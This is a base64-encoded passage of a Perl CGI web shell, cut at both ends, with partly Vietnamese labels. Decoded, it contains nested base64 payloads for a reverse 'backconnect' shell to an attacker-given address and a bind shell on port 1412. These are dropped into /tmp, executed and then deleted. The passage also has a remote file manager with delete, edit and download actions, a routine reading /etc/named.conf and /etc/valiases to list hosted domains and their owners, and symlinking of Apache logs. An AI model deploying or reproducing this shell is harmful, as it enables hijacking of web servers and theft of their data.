YnI+Cgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+CgoJIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImJpbmRwYXNzIiB2YWx1ZT0iVEhJRVVHSUFCVU9OIj48L3RkPgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDaHVjIG5hbmcgY2h1YSBkYyB0ZXN0IQoJPGJyPlsrXSBUcnkgY29tbWFuZDogPHJ1bj5uYyAkRU5WeydTRVJWRVJfQUREUid9IDxzcGFuIGlkPSJiaSI+MTQxMjwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT48YnI+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrY29ubmVjdCB1c2UgcGVybAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZAp7Cgl1c2UgTUlNRTo6QmFzZTY0OwoJdXNlIFNvY2tldDsJCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7CgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21KcGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOwoKCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307CgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7CglpZigkQ2xpZW50UG9ydCBlcSAwKQoJewoJCXJldHVybiAmQmFja0JpbmRGb3JtOwoJfWVsc2lmKCEkQ2xpZW50QWRkciBlcSAiIikKCXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7CgkJaWYoLXcgIi90bXAvIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX1lbHNlCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmluZHBlcmwpOwoJCWlmKC13ICIvdG1wIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiaW5kcG9ydC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmluZHBvcnQucGwgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJtRGlyKCQpIAp7CglteSAkZGlyID0gc2hpZnQ7CiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkKCXsKCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQl7CgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkKCQkJewoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7CgkJCQlpZigtZCAkZmlsZSkKCQkJCXsKCQkJCQkmUm1EaXIoJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXVubGluaygkZmlsZSk7CgkJCQl9CgkJCX0KCQl9CgkJY2xvc2VkaXIoRElSKTsKCX0KCWlmKCFybWRpcigkZGlyKSkKCXsKCQkKCX0KfQpzdWIgRmlsZU93bmVyKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJHVpZCwkZ2lkKSA9IChzdGF0KCRmaWxlKSlbNCw1XTsKCQlpZigkV2luTlQpCgkJewoJCQlyZXR1cm4gIj8/PyI7CgkJfQoJCWVsc2UKCQl7CgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOwoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7CgkJCXJldHVybiAkbmFtZS4iLyIuJGdyb3VwOwoJCX0KCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgUGFyZW50Rm9sZGVyKCQpCnsKCW15ICRwYXRoID0gc2hpZnQ7CglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7CgljaG9wKCRwYXRoID0gYCRDb21tYCk7CglyZXR1cm4gJHBhdGg7Cn0Kc3ViIEZpbGVQZXJtcygkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJbXkgJHVyID0gIi0iOwoJbXkgJHV3ID0gIi0iOwoJaWYoLWUgJGZpbGUpCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJaWYoLXIgJGZpbGUpeyAkdXIgPSAiciI7IH0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3OwoJCX1lbHNlCgkJewoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOwoJCQkkcmVzdWx0ID0gc3ByaW50ZigiJTA0byIsICRtb2RlICYgMDc3NzcpOwoJCQlyZXR1cm4gJHJlc3VsdDsKCQl9Cgl9CglyZXR1cm4gIjAwMDAiOwp9CnN1YiBGaWxlTGFzdE1vZGlmaWVkKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07CgkJKCRkLCRtLCR5LCRoLCRpKSA9IChsb2NhbHRpbWUoJGxhKSlbMyw0LDUsMiwxXTsKCQkkeSA9ICR5ICsgMTkwMDsKCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87CgkJJGxtdGltZSA9IHNwcmludGYoIiUwMmQvJXMvJTRkICUwMmQ6JTAyZCIsJGQsJG1vbnRoWyRtXSwkeSwkaCwkaSk7CgkJcmV0dXJuICRsbXRpbWU7Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIEZpbGVTaXplKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZiAkZmlsZSkKCXsKCQlyZXR1cm4gLXMgJGZpbGU7Cgl9CglyZXR1cm4gIjAiOwoKfQpzdWIgUGFyc2VGaWxlU2l6ZSgkKQp7CglteSAkc2l6ZSA9IHNoaWZ0OwoJaWYoJHNpemUgPD0gMTAyNCkKCXsKCQlyZXR1cm4gJHNpemUuICIgQiI7Cgl9CgllbHNlCgl7CgkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIEtCIjsKCQl9CgkJZWxzZSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIE1CIjsKCQl9Cgl9Cn0Kc3ViIHRyaW0oJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZyA9fiBzL15ccysvLzsKCSRzdHJpbmcgPX4gcy9ccyskLy87CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgQWRkU2xhc2hlcygkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgTGlzdERpcgp7CglteSAkcGF0aCA9ICRDdXJyZW50RGlyLiRQYXRoU2VwOwoJJHBhdGg9fiBzL1xcXFwvXFwvZzsKCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOwoJaWYoLWQgJHBhdGgpCgl7CgkJbXkgQGZuYW1lID0gKCk7CgkJbXkgQGRuYW1lID0gKCk7CgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQoJCXsKCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJCXsKCQkJCSRmPSRwYXRoLiRmaWxlOwoJCQkJaWYoLWQgJGYpCgkJCQl7CgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsKCQkJCX0KCQkJfQoJCQljbG9zZWRpcihESVIpOwoJCX0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7CgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOwoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4KCgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5QZXJtaXNzaW9uPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCSRkID0gJHBhdGg7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+CgoJCQk8dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+PGEgIGhyZWY9Jz9hPWd1aSZkPSIuJGQuIic+WyAiLiRkaXJuYW1lLiIgXTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRkKS4iJywnIi4kZGlybmFtZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oIi4kaS4iLCciLiRkaXJuYW1lLiInKVwiID4iLiZGaWxlUGVybXMoJGQpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJylcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+Ii4kZmlsZS4iPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGYpLiInLCciLiRmaWxlLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgkaSwnJGZpbGUnKVwiID4iLiZGaWxlUGVybXMoJGYpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz5FZGl0PC9hPiB8IDxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKVwiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRyeSB0byBWaWV3IExpc3QgVXNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBWaWV3RG9tYWluVXNlcgp7CglvcGVuIChkb21haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOwoJbXkgQGNuenMgPSA8ZG9tYWlucz47CgljbG9zZSBkMG1haW5zOwoJbXkgJHN0eWxlPSJsaW5lIjsKCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kb25lOwoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7CgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7Cgl9CglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOwoJbXkgQHBhdGhsb2c9KAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywKCQkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycKCQkJCSk7CglteSAkaT0wOwoJbXkgJHBlcm1zOwoJbXkgJHNsOwoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykKCXsKCQlpZigtdyAkbG9nKQoJCXsKCQkJJHBlcm1zPSJPSyI7CgkJfWVsc2UKCQl7CgkJCWNob3AoJHNsID0gYGxuIC1zICRsb2cgZXJyb3JfbG9nXyRpYCk7CgkJCWlmKCZ0cmltKCRscykgZXEgIiIpCgkJCXsKCQkJCWlmKC1yICRscykKCQkJCXsKCQkJCQkkcGVybXM9Ik9LIjsKCQkJCQkkbG9nPSJlcnJvcl9sb2dfIi4kaTsKCQkJCX0KCQkJfWVsc2UKCQkJewoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7CgkJCX0KCQl9CgkJJHJlc3VsdCAuPTw8RU5EOwoJCTx0cj4KCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dfJGknKS52YWx1ZT0nbGVzcyAnICsgdGhpcy52YWx1ZTsiIHZhbHVlPSIkbG9nIiBzaXplPSc1MCcvPjwvdGQ+CgkJCTx0ZD48aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciIgLz4KCQkJPC9mb3JtPgoJCQk8dGQ+JHBlcm1zPC90ZD4KCgkJPC90cj4KRU5ECgkJJGkrKzsKCX0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjc